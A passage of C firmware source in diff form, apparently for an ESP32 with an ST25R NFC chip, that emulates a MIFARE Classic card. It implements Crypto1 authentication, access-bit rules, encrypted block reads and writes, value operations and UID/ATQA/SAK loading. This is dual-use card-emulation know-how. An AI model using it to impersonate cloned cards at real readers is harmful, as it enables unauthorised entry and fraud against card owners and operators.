0xF0U) >> 4) | ((v & 0x0FU) << 4)); + v = (uint8_t)(((v & 0xCCU) >> 2) | ((v & 0x33U) << 2)); + v = (uint8_t)(((v & 0xAAU) >> 1) | ((v & 0x55U) << 1)); + return v; +} + +static int unpack_9bit_bytes(const uint8_t* packed, size_t packed_len, + uint8_t* out, size_t out_len) +{ + size_t bitpos = 0; + size_t bits_avail = packed_len * 8U; + for (size_t i = 0; i < out_len; i++) { + if (bitpos + 9U > bits_avail) return -1; + uint8_t b = 0; + for (int bit = 0; bit < 8; bit++) { + b |= (uint8_t)(bit_get(packed, bitpos++) << bit); + } + (void)bit_get(packed, bitpos++); /* parity bit (encrypted) */ + out[i] = b; + } + return (int)out_len; +} + +static int unpack_9bit_bytes_msb(const uint8_t* packed, size_t packed_len, + uint8_t* out, size_t out_len) +{ + size_t bitpos = 0; + size_t bits_avail = packed_len * 8U; + for (size_t i = 0; i < out_len; i++) { + if (bitpos + 9U > bits_avail) return -1; + uint8_t b = 0; + for (int bit = 0; bit < 8; bit++) { + b |= (uint8_t)(bit_get_msb(packed, bitpos++) << bit); + } + (void)bit_get_msb(packed, bitpos++); /* parity bit (encrypted) */ + out[i] = b; + } + return (int)out_len; +} + +static bool auth_try_decode(const uint8_t nr_ar_enc[8], + uint32_t ar_expected, + const crypto1_state_t* st_in, + crypto1_state_t* st_out, + uint32_t* ar_be_out, + uint32_t* ar_le_out) +{ + crypto1_state_t st_be = *st_in; + crypto1_state_t st_le = *st_in; + + uint32_t nr_enc_be = bytes_to_u32_be(nr_ar_enc); + uint32_t nr_enc_le = bytes_to_u32_le(nr_ar_enc); + (void)crypto1_word(&st_be, nr_enc_be, 1); + (void)crypto1_word(&st_le, nr_enc_le, 1); + + uint32_t ar_enc_be = bytes_to_u32_be(&nr_ar_enc[4]); + uint32_t ar_enc_le = bytes_to_u32_le(&nr_ar_enc[4]); + + uint32_t ar_be = ar_enc_be ^ crypto1_word(&st_be, 0, 0); + uint32_t ar_le = ar_enc_le ^ crypto1_word(&st_le, 0, 0); + + if (ar_be_out) *ar_be_out = ar_be; + if (ar_le_out) *ar_le_out = ar_le; + + if (ar_be == ar_expected) { + *st_out = st_be; + return true; + } + if (ar_le == ar_expected) { + *st_out = st_le; + return true; + } + return false; +} + +static void u32_to_bytes_be(uint32_t v, uint8_t* b) +{ + b[0] = (uint8_t)(v >> 24); + b[1] = (uint8_t)(v >> 16); + b[2] = (uint8_t)(v >> 8); + b[3] = (uint8_t)(v); +} + +static uint32_t get_cuid(void) +{ + const uint8_t* uid = s_emu.card.uid; + if (s_emu.card.uid_len == 4) return bytes_to_u32_be(uid); + return bytes_to_u32_be(&uid[3]); +} + +static bool get_key_for_sector(int sector, mf_key_type_t key_type, uint64_t* key_out) +{ + if (sector < 0 || sector >= s_emu.card.sector_count) return false; + + const uint8_t* kdata; + bool known; + + if (key_type == MF_KEY_A) { + kdata = s_emu.card.keys[sector].key_a; + known = s_emu.card.keys[sector].key_a_known; + } else { + kdata = s_emu.card.keys[sector].key_b; + known = s_emu.card.keys[sector].key_b_known; + } + + if (!known) return false; + + *key_out = ((uint64_t)kdata[0] << 40) | ((uint64_t)kdata[1] << 32) | + ((uint64_t)kdata[2] << 24) | ((uint64_t)kdata[3] << 16) | + ((uint64_t)kdata[4] << 8) | (uint64_t)kdata[5]; + return true; +} + +static int block_to_sector(int block) +{ + if (block < 128) return block / 4; + return 32 + (block - 128) / 16; +} + +static int sector_first_block(int sector) +{ + if (sector < 32) return sector * 4; + return 128 + (sector - 32) * 16; +} + +static int sector_block_count(int sector) +{ + return (sector < 32) ? 4 : 16; +} + +static int sector_trailer_block(int sector) +{ + return sector_first_block(sector) + sector_block_count(sector) - 1; +} + +static int block_index_in_sector(int block) +{ + int sector = block_to_sector(block); + return block - sector_first_block(sector); +} + +bool mfc_emu_get_access_bits(const uint8_t trailer[16], int block_in_sector, + uint8_t* c1, uint8_t* c2, uint8_t* c3) +{ + int grp = block_in_sector; + if (grp > 3) grp = block_in_sector / 5; + if (grp > 3) grp = 3; + + uint8_t b6 = trailer[6], b7 = trailer[7], b8 = trailer[8]; + + *c1 = (b7 >> (4 + grp)) & 1; + *c2 = (b8 >> grp) & 1; + *c3 = (b8 >> (4 + grp)) & 1; + + uint8_t c1_inv = (~b6 >> grp) & 1; + uint8_t c2_inv = (~b6 >> (4 + grp)) & 1; + uint8_t c3_inv = (~b7 >> grp) & 1; + + return (*c1 == c1_inv) && (*c2 == c2_inv) && (*c3 == c3_inv); +} + +bool mfc_emu_can_read(const uint8_t trailer[16], int block_in_sector, + mf_key_type_t auth_key_type) +{ + uint8_t c1, c2, c3; + if (!mfc_emu_get_access_bits(trailer, block_in_sector, &c1, &c2, &c3)) + return false; + + uint8_t ac = (c1 << 2) | (c2 << 1) | c3; + bool is_b = (auth_key_type == MF_KEY_B); + int grp = block_in_sector; + if (grp == 3 || grp == 15) return true; + + switch (ac) { + case 0: case 1: case 2: case 3: case 4: return true; + case 5: case 6: return is_b; + default: return false; + } +} + +bool mfc_emu_can_write(const uint8_t trailer[16], int block_in_sector, + mf_key_type_t auth_key_type) +{ + uint8_t c1, c2, c3; + if (!mfc_emu_get_access_bits(trailer, block_in_sector, &c1, &c2, &c3)) + return false; + + uint8_t ac = (c1 << 2) | (c2 << 1) | c3; + bool is_b = (auth_key_type == MF_KEY_B); + + switch (ac) { + case 0: return true; + case 3: case 4: case 6: return is_b; + default: return false; + } +} + +bool mfc_emu_can_increment(const uint8_t trailer[16], int block_in_sector, + mf_key_type_t auth_key_type) +{ + uint8_t c1, c2, c3; + if (!mfc_emu_get_access_bits(trailer, block_in_sector, &c1, &c2, &c3)) + return false; + + uint8_t ac = (c1 << 2) | (c2 << 1) | c3; + bool is_b = (auth_key_type == MF_KEY_B); + + switch (ac) { + case 0: return true; + case 6: return is_b; + default: return false; + } +} + +bool mfc_emu_can_decrement(const uint8_t trailer[16], int block_in_sector, + mf_key_type_t auth_key_type) +{ + uint8_t c1, c2, c3; + if (!mfc_emu_get_access_bits(trailer, block_in_sector, &c1, &c2, &c3)) + return false; + + uint8_t ac = (c1 << 2) | (c2 << 1) | c3; + (void)auth_key_type; + + switch (ac) { + case 0: case 1: case 6: return true; + default: return false; + } +} + +static const uint8_t* get_trailer_for_block(uint8_t block_num) +{ + int sector = block_to_sector(block_num); + int tb = sector_trailer_block(sector); + if (tb >= 0 && tb < s_emu.card.total_blocks) + return s_emu.card.blocks[tb]; + return NULL; +} + +static hb_nfc_err_t target_tx_raw(const uint8_t* data, size_t len_bytes, uint8_t extra_bits) +{ + hb_spi_direct_cmd(0xDB); /* Clear FIFO (0xDB, not 0xC2!) */ + hb_spi_reg_modify(REG_OP_CTRL, 0x08, 0x08); /* tx_en on */ + st25r_set_tx_bytes((uint16_t)len_bytes, extra_bits); + st25r_fifo_load(data, len_bytes); + st25r_irq_read(); + hb_spi_direct_cmd(CMD_TX_WO_CRC); + + if (!st25r_irq_wait_txe()) { + ESP_LOGW(TAG, "TX raw timeout"); + hb_spi_reg_modify(REG_OP_CTRL, 0x08, 0x00); + return HB_NFC_ERR_TX_TIMEOUT; + } + + hb_spi_reg_modify(REG_OP_CTRL, 0x08, 0x00); /* tx_en off */ + return HB_NFC_OK; +} + +/* Interrupt-based RX: waits for RXS/RXE instead of polling FIFO count. + * FIFO resets at RXS (datasheet), so stale TX data is auto-cleared. */ +static int target_rx_irq(uint8_t* buf, size_t buf_max, int timeout_ms) +{ + int polls = timeout_ms * 10; + bool rxs_seen = false; + + for (int i = 0; i < polls; i++) { + if (hb_gpio_irq_level()) { + st25r_irq_status_t s = st25r_irq_read(); + + if (s.main & IRQ_MAIN_RXE) { + uint16_t count = st25r_fifo_count(); + int to_read = (int)count; + if (to_read > (int)buf_max) to_read = (int)buf_max; + if (to_read > 0) st25r_fifo_read(buf, (size_t)to_read); + return to_read; + } + + if (s.main & IRQ_MAIN_RXS) rxs_seen = true; + + if (s.error) { + uint16_t count = st25r_fifo_count(); + int to_read = (int)count; + if (to_read > (int)buf_max) to_read = (int)buf_max; + if (to_read > 0) st25r_fifo_read(buf, (size_t)to_read); + return to_read > 0 ? to_read : -1; + } + + if (s.collision) return -1; + } + hb_delay_us(100); + + if ((i % 50) == 49) vTaskDelay(1); + } + + if (rxs_seen) { + uint16_t count = st25r_fifo_count(); + int to_read = (int)count; + if (to_read > (int)buf_max) to_read = (int)buf_max; + if (to_read > 0) st25r_fifo_read(buf, (size_t)to_read); + return to_read; + } + + return 0; +} + +static int fifo_rx(uint8_t* buf, size_t buf_max) +{ + uint8_t fs1 = 0; + hb_spi_reg_read(REG_FIFO_STATUS1, &fs1); + int n = fs1 & 0x7F; + if (n <= 0) return 0; + if (n > (int)buf_max) n = (int)buf_max; + st25r_fifo_read(buf, (size_t)n); + return n; +} + +/* Legacy FIFO-polling RX (kept for non-auth commands) */ +static int target_rx_blocking(uint8_t* buf, size_t buf_max, int timeout_ms) +{ + int polls = timeout_ms * 2; + for (int i = 0; i < polls; i++) { + uint16_t count = st25r_fifo_count(); + if (count > 0) { + hb_delay_us(2000); + count = st25r_fifo_count(); + int to_read = (int)count; + if (to_read > (int)buf_max) to_read = (int)buf_max; + st25r_fifo_read(buf, (size_t)to_read); + return to_read; + } + + uint8_t main_irq = 0; + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + if (main_irq & IRQ_MAIN_COL) return -1; + + hb_delay_us(500); + } + return 0; +} + +static void crypto1_encrypt_with_parity(const uint8_t* plain, size_t len, + uint8_t* packed, size_t* packed_bits) +{ + memset(packed, 0, (len * 9 + 7) / 8 + 1); + size_t bit_pos = 0; + + for (size_t i = 0; i < len; i++) { + uint8_t ks = crypto1_byte(&s_emu.crypto, 0, 0); + uint8_t enc_byte = plain[i] ^ ks; + uint8_t par_ks = crypto1_filter_output(&s_emu.crypto); + uint8_t enc_par = crypto1_odd_parity8(plain[i]) ^ par_ks; + + for (int b = 0; b < 8; b++) { + if ((enc_byte >> b) & 1) + packed[bit_pos >> 3] |= (uint8_t)(1U << (bit_pos & 7)); + bit_pos++; + } + if (enc_par & 1) + packed[bit_pos >> 3] |= (uint8_t)(1U << (bit_pos & 7)); + bit_pos++; + } + *packed_bits = bit_pos; +} + +static hb_nfc_err_t target_tx_encrypted(const uint8_t* plain, size_t len) +{ + uint8_t packed[24] = { 0 }; + size_t total_bits = 0; + + if (len > 18) return HB_NFC_ERR_PARAM; + crypto1_encrypt_with_parity(plain, len, packed, &total_bits); + + size_t full_bytes = total_bits / 8; + uint8_t extra_bits = (uint8_t)(total_bits % 8); + return target_tx_raw(packed, full_bytes + (extra_bits ? 1 : 0), extra_bits); +} + +static hb_nfc_err_t target_tx_ack_encrypted(uint8_t ack_nack) +{ + uint8_t enc = 0; + for (int i = 0; i < 4; i++) { + uint8_t ks_bit = crypto1_bit(&s_emu.crypto, 0, 0); + uint8_t plain_bit = (ack_nack >> i) & 1; + enc |= (uint8_t)((plain_bit ^ ks_bit) << i); + } + + hb_spi_direct_cmd(0xDB); + hb_spi_reg_modify(REG_OP_CTRL, 0x08, 0x08); + st25r_fifo_load(&enc, 1); + st25r_set_tx_bytes(0, 4); + st25r_irq_read(); + hb_spi_direct_cmd(CMD_TX_WO_CRC); + + if (!st25r_irq_wait_txe()) { + ESP_LOGW(TAG, "ACK TX timeout"); + hb_spi_reg_modify(REG_OP_CTRL, 0x08, 0x00); + return HB_NFC_ERR_TX_TIMEOUT; + } + hb_spi_reg_modify(REG_OP_CTRL, 0x08, 0x00); + return HB_NFC_OK; +} + +static mfc_emu_event_t s_evt; + +static void emit_event(mfc_emu_event_type_t type) +{ + if (!s_emu.cb) return; + s_evt.type = type; + s_emu.cb(&s_evt, s_emu.cb_ctx); +} + +static void reset_crypto_state(void) +{ + s_emu.crypto_active = false; + crypto1_reset(&s_emu.crypto); + hb_spi_reg_modify(REG_ISO14443A, + ISO14443A_NO_TX_PAR | ISO14443A_NO_RX_PAR, 0); +} + +static mfc_emu_state_t handle_auth(uint8_t auth_cmd, uint8_t block_num) +{ + s_emu.stats.total_auths++; + + mf_key_type_t key_type = (auth_cmd == MFC_CMD_AUTH_KEY_A) ? MF_KEY_A : MF_KEY_B; + int sector = block_to_sector(block_num); + + ESP_LOGI(TAG, "AUTH Key%c block=%d sector=%d", + key_type == MF_KEY_A ? 'A' : 'B', block_num, sector); + + if (s_emu.crypto_active) reset_crypto_state(); + + uint64_t key; + if (!get_key_for_sector(sector, key_type, &key)) { + ESP_LOGW(TAG, "Key not found for sector %d", sector); + s_emu.stats.failed_auths++; + s_evt.auth.sector = sector; + s_evt.auth.key_type = key_type; + emit_event(MFC_EMU_EVT_AUTH_FAIL); + return MFC_EMU_STATE_ACTIVATED; + } + + uint32_t nt = emu_prng_next(); + s_emu.auth_nt = nt; + s_emu.auth_sector = sector; + s_emu.auth_key_type = key_type; + + uint8_t nt_bytes[4]; + u32_to_bytes_be(nt, nt_bytes); + + hb_nfc_err_t err = target_tx_raw(nt_bytes, 4, 0); + if (err != HB_NFC_OK) { + ESP_LOGW(TAG, "Failed to send nt"); + s_emu.stats.failed_auths++; + return MFC_EMU_STATE_ERROR; + } + + uint32_t cuid = get_cuid(); + crypto1_init(&s_emu.crypto, key); + crypto1_word(&s_emu.crypto, nt ^ cuid, 0); + s_emu.crypto_active = true; + + uint8_t nr_ar_raw[16] = { 0 }; + int len = target_rx_irq(nr_ar_raw, sizeof(nr_ar_raw), 50); + + uint8_t* nr_ar_packed = nr_ar_raw; + + if (len < 8) { + ESP_LOGW(TAG, "No {nr}{ar} received (got %d bytes)", len); + if (len > 0) { + ESP_LOG_BUFFER_HEX_LEVEL(TAG, nr_ar_raw, (size_t)len, ESP_LOG_WARN); + } + reset_crypto_state(); + s_emu.stats.failed_auths++; + return MFC_EMU_STATE_ACTIVATED; + } + + uint8_t nr_ar_enc[8] = { 0 }; + uint32_t ar_expected = crypto1_prng_successor(nt, 64); + + crypto1_state_t st_match = s_emu.crypto; + uint32_t ar_be = 0, ar_le = 0; + const char* mode = NULL; + bool matched = false; + + if (len >= 9) { + size_t use_len = (len > 9) ? 9U : (size_t)len; + if (unpack_9bit_bytes(nr_ar_packed, use_len, nr_ar_enc, sizeof(nr_ar_enc)) >= 0) { + if (auth_try_decode(nr_ar_enc, ar_expected, &s_emu.crypto, + &st_match, &ar_be, &ar_le)) { + matched = true; + mode = "9b-lsb"; + } + } + } + + if (!matched && len >= 9) { + size_t use_len = (len > 9) ? 9U : (size_t)len; + if (unpack_9bit_bytes_msb(nr_ar_packed, use_len, nr_ar_enc, sizeof(nr_ar_enc)) >= 0) { + if (auth_try_decode(nr_ar_enc, ar_expected, &s_emu.crypto, + &st_match, &ar_be, &ar_le)) { + matched = true; + mode = "9b-msb"; + } + } + } + + if (!matched) { + memcpy(nr_ar_enc, nr_ar_packed, 8); + if (auth_try_decode(nr_ar_enc, ar_expected, &s_emu.crypto, + &st_match, &ar_be, &ar_le)) { + matched = true; + mode = "8b-raw"; + } + } + + if (!matched) { + for (int i = 0; i < 8; i++) nr_ar_enc[i] = bit_reverse8(nr_ar_packed[i]); + if (auth_try_decode(nr_ar_enc, ar_expected, &s_emu.crypto, + &st_match, &ar_be, &ar_le)) { + matched = true; + mode = "8b-rev"; + } + } + + if (!matched) { + ESP_LOGW(TAG, "AUTH FAIL: ar_be=0x%08lX ar_le=0x%08lX expected=0x%08lX len=%d", + (unsigned long)ar_be, (unsigned long)ar_le, + (unsigned long)ar_expected, len); + ESP_LOG_BUFFER_HEX_LEVEL(TAG, nr_ar_packed, (size_t)len, ESP_LOG_WARN); + reset_crypto_state(); + s_emu.stats.failed_auths++; + s_evt.auth.sector = sector; + s_evt.auth.key_type = key_type; + emit_event(MFC_EMU_EVT_AUTH_FAIL); + return MFC_EMU_STATE_ACTIVATED; + } + + s_emu.crypto = st_match; + if (mode) ESP_LOGD(TAG, "AUTH decode ok (mode=%s)", mode); + + uint32_t at = crypto1_prng_successor(nt, 96); + uint8_t at_bytes[4]; + u32_to_bytes_be(at, at_bytes); + + hb_spi_reg_modify(REG_ISO14443A, + ISO14443A_NO_TX_PAR, + ISO14443A_NO_TX_PAR); + + err = target_tx_encrypted(at_bytes, 4); + if (err != HB_NFC_OK) { + ESP_LOGW(TAG, "Failed to send at"); + reset_crypto_state(); + s_emu.stats.failed_auths++; + return MFC_EMU_STATE_ERROR; + } + + s_emu.stats.successful_auths++; + s_emu.last_activity_us = esp_timer_get_time(); + + ESP_LOGI(TAG, "AUTH OK: sector %d Key%c", + sector, key_type == MF_KEY_A ? 'A' : 'B'); + + s_evt.auth.sector = sector; + s_evt.auth.key_type = key_type; + emit_event(MFC_EMU_EVT_AUTH_SUCCESS); + + return MFC_EMU_STATE_AUTHENTICATED; +} + +static mfc_emu_state_t handle_read(uint8_t block_num) +{ + if (block_num >= s_emu.card.total_blocks) { + ESP_LOGW(TAG, "READ invalid block %d", block_num); + target_tx_ack_encrypted(MFC_NACK_INVALID_OP); + s_emu.stats.nacks_sent++; + return MFC_EMU_STATE_AUTHENTICATED; + } + + int sector = block_to_sector(block_num); + if (sector != s_emu.auth_sector) { + ESP_LOGW(TAG, "READ block %d not in auth sector %d", block_num, s_emu.auth_sector); + target_tx_ack_encrypted(MFC_NACK_INVALID_OP); + s_emu.stats.nacks_sent++; + return MFC_EMU_STATE_AUTHENTICATED; + } + + const uint8_t* trailer = get_trailer_for_block(block_num); + if (trailer) { + int bidx = block_index_in_sector(block_num); + if (!mfc_emu_can_read(trailer, bidx, s_emu.auth_key_type)) { + ESP_LOGW(TAG, "READ block %d denied by AC", block_num); + target_tx_ack_encrypted(MFC_NACK_INVALID_OP); + s_emu.stats.nacks_sent++; + return MFC_EMU_STATE_AUTHENTICATED; + } + } + + ESP_LOGI(TAG, "READ block %d (sector %d)", block_num, sector); + + uint8_t resp[18]; + memcpy(resp, s_emu.card.blocks[block_num], 16); + + int tb = sector_trailer_block(sector); + if (block_num == tb) { + memset(resp, 0x00, 6); + uint8_t c1, c2, c3; + mfc_emu_get_access_bits(s_emu.card.blocks[tb], 3, &c1, &c2, &c3); + uint8_t ac = (c1 << 2) | (c2 << 1) | c3; + if (ac > 2) memset(&resp[10], 0x00, 6); + } + + iso14443a_crc(resp, 16, &resp[16]); + + hb_nfc_err_t err = target_tx_encrypted(resp, 18); + if (err != HB_NFC_OK) { + ESP_LOGW(TAG, "READ TX failed"); + return MFC_EMU_STATE_ERROR; + } + + s_emu.stats.reads_served++; + s_emu.last_activity_us = esp_timer_get_time(); + + s_evt.read.block = block_num; + emit_event(MFC_EMU_EVT_READ); + + return MFC_EMU_STATE_AUTHENTICATED; +} + +static mfc_emu_state_t handle_write_phase1(uint8_t block_num) +{ + if (block_num >= s_emu.card.total_blocks || block_num == 0) { + target_tx_ack_encrypted(MFC_NACK_INVALID_OP); + s_emu.stats.nacks_sent++; + return MFC_EMU_STATE_AUTHENTICATED; + } + + int sector = block_to_sector(block_num); + if (sector != s_emu.auth_sector) { + target_tx_ack_encrypted(MFC_NACK_INVALID_OP); + s_emu.stats.nacks_sent++; + return MFC_EMU_STATE_AUTHENTICATED; + } + + const uint8_t* trailer = get_trailer_for_block(block_num); + if (trailer) { + int bidx = block_index_in_sector(block_num); + if (!mfc_emu_can_write(trailer, bidx, s_emu.auth_key_type)) { + ESP_LOGW(TAG, "WRITE block %d denied by AC", block_num); + target_tx_ack_encrypted(MFC_NACK_INVALID_OP); + s_emu.stats.writes_blocked++; + s_evt.write.block = block_num; + emit_event(MFC_EMU_EVT_WRITE_BLOCKED); + return MFC_EMU_STATE_AUTHENTICATED; + } + } + + ESP_LOGI(TAG, "WRITE phase 1: block %d - ACK", block_num); + + hb_nfc_err_t err = target_tx_ack_encrypted(MFC_ACK); + if (err != HB_NFC_OK) return MFC_EMU_STATE_ERROR; + + s_emu.pending_block = block_num; + s_emu.pending_cmd = MFC_CMD_WRITE; + + return MFC_EMU_STATE_WRITE_PENDING; +} + +static mfc_emu_state_t handle_write_phase2(const uint8_t* data, int len) +{ + if (len < 18) { + target_tx_ack_encrypted(MFC_NACK_PARITY_CRC); + s_emu.stats.nacks_sent++; + return MFC_EMU_STATE_AUTHENTICATED; + } + + uint8_t crc[2]; + iso14443a_crc(data, 16, crc); + if (data[16] != crc[0] || data[17] != crc[1]) { + ESP_LOGW(TAG, "WRITE phase 2: CRC mismatch"); + target_tx_ack_encrypted(MFC_NACK_PARITY_CRC); + s_emu.stats.nacks_sent++; + return MFC_EMU_STATE_AUTHENTICATED; + } + + uint8_t block_num = s_emu.pending_block; + ESP_LOGI(TAG, "WRITE phase 2: block %d", block_num); + + memcpy(s_emu.card.blocks[block_num], data, 16); + + int sector = block_to_sector(block_num); + if (block_num == sector_trailer_block(sector)) { + memcpy(s_emu.card.keys[sector].key_a, data, 6); + s_emu.card.keys[sector].key_a_known = true; + memcpy(s_emu.card.keys[sector].key_b, &data[10], 6); + s_emu.card.keys[sector].key_b_known = true; + } + + hb_nfc_err_t err = target_tx_ack_encrypted(MFC_ACK); + if (err != HB_NFC_OK) return MFC_EMU_STATE_ERROR; + + s_emu.stats.writes_served++; + s_emu.last_activity_us = esp_timer_get_time(); + + s_evt.write.block = block_num; + emit_event(MFC_EMU_EVT_WRITE); + + return MFC_EMU_STATE_AUTHENTICATED; +} + +static bool is_value_block_format(const uint8_t* data) +{ + uint32_t v1 = data[0] | (data[1] << 8) | (data[2] << 16) | (data[3] << 24); + uint32_t v2 = data[4] | (data[5] << 8) | (data[6] << 16) | (data[7] << 24); + uint32_t v3 = data[8] | (data[9] << 8) | (data[10] << 16) | (data[11] << 24); + + if (v1 != v3) return false; + if ((v1 ^ v2) != 0xFFFFFFFF) return false; + if (data[12] != data[14]) return false; + if ((data[12] ^ data[13]) != 0xFF) return false; + if ((data[14] ^ data[15]) != 0xFF) return false; + return true; +} + +static int32_t read_value_from_block(const uint8_t* data) +{ + return (int32_t)(data[0] | (data[1] << 8) | (data[2] << 16) | (data[3] << 24)); +} + +static void write_value_to_block(uint8_t* data, int32_t value, uint8_t addr) +{ + uint32_t v = (uint32_t)value; + uint32_t nv = ~v; + + data[0] = v & 0xFF; data[1] = (v >> 8) & 0xFF; + data[2] = (v >> 16) & 0xFF; data[3] = (v >> 24) & 0xFF; + data[4] = nv & 0xFF; data[5] = (nv >> 8) & 0xFF; + data[6] = (nv >> 16) & 0xFF; data[7] = (nv >> 24) & 0xFF; + data[8] = v & 0xFF; data[9] = (v >> 8) & 0xFF; + data[10] = (v >> 16) & 0xFF; data[11] = (v >> 24) & 0xFF; + data[12] = addr; data[13] = ~addr; + data[14] = addr; data[15] = ~addr; +} + +static mfc_emu_state_t handle_value_op_phase1(uint8_t cmd, uint8_t block_num) +{ + if (block_num >= s_emu.card.total_blocks) { + target_tx_ack_encrypted(MFC_NACK_INVALID_OP); + s_emu.stats.nacks_sent++; + return MFC_EMU_STATE_AUTHENTICATED; + } + + int sector = block_to_sector(block_num); + if (sector != s_emu.auth_sector || + block_num == (uint8_t)sector_trailer_block(sector)) { + target_tx_ack_encrypted(MFC_NACK_INVALID_OP); + s_emu.stats.nacks_sent++; + return MFC_EMU_STATE_AUTHENTICATED; + } + + const uint8_t* trailer = get_trailer_for_block(block_num); + if (trailer) { + int bidx = block_index_in_sector(block_num); + bool allowed = (cmd == MFC_CMD_INCREMENT) + ? mfc_emu_can_increment(trailer, bidx, s_emu.auth_key_type) + : mfc_emu_can_decrement(trailer, bidx, s_emu.auth_key_type); + if (!allowed) { + target_tx_ack_encrypted(MFC_NACK_INVALID_OP); + s_emu.stats.nacks_sent++; + return MFC_EMU_STATE_AUTHENTICATED; + } + } + + if (!is_value_block_format(s_emu.card.blocks[block_num])) { + target_tx_ack_encrypted(MFC_NACK_INVALID_OP); + s_emu.stats.nacks_sent++; + return MFC_EMU_STATE_AUTHENTICATED; + } + + hb_nfc_err_t err = target_tx_ack_encrypted(MFC_ACK); + if (err != HB_NFC_OK) return MFC_EMU_STATE_ERROR; + + s_emu.pending_block = block_num; + s_emu.pending_cmd = cmd; + + return MFC_EMU_STATE_VALUE_PENDING; +} + +static mfc_emu_state_t handle_value_op_phase2(const uint8_t* data, int len) +{ + if (len < 4) return MFC_EMU_STATE_AUTHENTICATED; + + int32_t operand = (int32_t)(data[0] | (data[1] << 8) | + (data[2] << 16) | (data[3] << 24)); + int32_t current = read_value_from_block(s_emu.card.blocks[s_emu.pending_block]); + + switch (s_emu.pending_cmd) { + case MFC_CMD_INCREMENT: + s_emu.pending_value = current + operand; + ESP_LOGI(TAG, "INC: %ld + %ld = %ld", (long)current, (long)operand, + (long)s_emu.pending_value); + break; + case MFC_CMD_DECREMENT: + s_emu.pending_value = current - operand; + ESP_LOGI(TAG, "DEC: %ld - %ld = %ld", (long)current, (long)operand, + (long)s_emu.pending_value); + break; + case MFC_CMD_RESTORE: + s_emu.pending_value = current; + break; + default: + return MFC_EMU_STATE_AUTHENTICATED; + } + + s_emu.stats.value_ops++; + s_evt.value_op.cmd = s_emu.pending_cmd; + s_evt.value_op.block = s_emu.pending_block; + s_evt.value_op.value = s_emu.pending_value; + emit_event(MFC_EMU_EVT_VALUE_OP); + + return MFC_EMU_STATE_AUTHENTICATED; +} + +static mfc_emu_state_t handle_transfer(uint8_t block_num) +{ + if (block_num >= s_emu.card.total_blocks) { + target_tx_ack_encrypted(MFC_NACK_INVALID_OP); + s_emu.stats.nacks_sent++; + return MFC_EMU_STATE_AUTHENTICATED; + } + + int sector = block_to_sector(block_num); + if (sector != s_emu.auth_sector) { + target_tx_ack_encrypted(MFC_NACK_INVALID_OP); + s_emu.stats.nacks_sent++; + return MFC_EMU_STATE_AUTHENTICATED; + } + + const uint8_t* trailer = get_trailer_for_block(block_num); + if (trailer) { + int bidx = block_index_in_sector(block_num); + if (!mfc_emu_can_write(trailer, bidx, s_emu.auth_key_type)) { + target_tx_ack_encrypted(MFC_NACK_INVALID_OP); + s_emu.stats.nacks_sent++; + return MFC_EMU_STATE_AUTHENTICATED; + } + } + + uint8_t addr = s_emu.card.blocks[s_emu.pending_block][12]; + write_value_to_block(s_emu.card.blocks[block_num], s_emu.pending_value, addr); + + ESP_LOGI(TAG, "TRANSFER: value %ld -> block %d", + (long)s_emu.pending_value, block_num); + + hb_nfc_err_t err = target_tx_ack_encrypted(MFC_ACK); + if (err != HB_NFC_OK) return MFC_EMU_STATE_ERROR; + + s_emu.last_activity_us = esp_timer_get_time(); + return MFC_EMU_STATE_AUTHENTICATED; +} + +static mfc_emu_state_t handle_halt(void) +{ + ESP_LOGI(TAG, "HALT received"); + reset_crypto_state(); + s_emu.stats.halts++; + emit_event(MFC_EMU_EVT_HALT); + return MFC_EMU_STATE_HALTED; +} + +static hb_nfc_err_t load_pt_memory(void) +{ + uint8_t ptm[SPI_PT_MEM_A_LEN]; + memset(ptm, 0, sizeof(ptm)); + + if (s_emu.card.uid_len == 4) { + + ptm[0] = s_emu.card.uid[0]; + ptm[1] = s_emu.card.uid[1]; + ptm[2] = s_emu.card.uid[2]; + ptm[3] = s_emu.card.uid[3]; + + ptm[10] = s_emu.card.atqa[0]; + ptm[11] = s_emu.card.atqa[1]; + ptm[12] = s_emu.card.sak; + + } + else if (s_emu.card.uid_len == 7) { + + ptm[0] = s_emu.card.uid[0]; + ptm[1] = s_emu.card.uid[1]; + ptm[2] = s_emu.card.uid[2]; + ptm[3] = s_emu.card.uid[3]; + ptm[4] = s_emu.card.uid[4]; + ptm[5] = s_emu.card.uid[5]; + ptm[6] = s_emu.card.uid[6]; + + ptm[10] = s_emu.card.atqa[0]; + ptm[11] = s_emu.card.atqa[1]; + ptm[12] = 0x04; + ptm[13] = s_emu.card.sak; + + } + + ESP_LOGI(TAG, "PT Memory (write):"); + ESP_LOG_BUFFER_HEX_LEVEL(TAG, ptm, SPI_PT_MEM_A_LEN, ESP_LOG_INFO); + + hb_nfc_err_t err = hb_spi_pt_mem_write(SPI_PT_MEM_A_WRITE, ptm, SPI_PT_MEM_A_LEN); + if (err != HB_NFC_OK) { + ESP_LOGE(TAG, "PT Memory write failed: %d", err); + return err; + } + vTaskDelay(pdMS_TO_TICKS(2)); + + uint8_t rb[SPI_PT_MEM_A_LEN] = { 0 }; + hb_spi_pt_mem_read(rb, SPI_PT_MEM_A_LEN); + ESP_LOGI(TAG, "PT Memory (readback):"); + ESP_LOG_BUFFER_HEX_LEVEL(TAG, rb, SPI_PT_MEM_A_LEN, ESP_LOG_INFO); + + if (memcmp(ptm, rb, SPI_PT_MEM_A_LEN) != 0) { + ESP_LOGE(TAG, "PT memory mismatch: chip did not write correctly!"); + return HB_NFC_ERR_INTERNAL; + } + + ESP_LOGI(TAG, "PT OK: UID=%02X%02X%02X%02X(%db) ATQA=%02X%02X SAK=%02X", + s_emu.card.uid[0], s_emu.card.uid[1], + s_emu.card.uid[2], s_emu.card.uid[3], + s_emu.card.uid_len, + ptm[10], ptm[11], s_emu.card.sak); + return HB_NFC_OK; +} + +hb_nfc_err_t mfc_emu_load_pt_memory(void) { return load_pt_memory(); } + +hb_nfc_err_t mfc_emu_init(const mfc_emu_card_data_t* card) +{ + if (!card) return HB_NFC_ERR_PARAM; + + memcpy(&s_emu.card, card, sizeof(mfc_emu_card_data_t)); + memset(&s_emu.stats, 0, sizeof(mfc_emu_stats_t)); + s_emu.state = MFC_EMU_STATE_IDLE; + s_emu.crypto_active = false; + s_emu.pending_value = 0; + s_emu.cb = NULL; + s_emu.cb_ctx = NULL; + s_emu.prng_state = get_cuid() ^ esp_random(); + s_emu.initialized = true; + + ESP_LOGI(TAG, "Emulator init: UID=%02X%02X%02X%02X SAK=0x%02X sectors=%d", + card->uid[0], card->uid[1], card->uid[2], card->uid[3], + 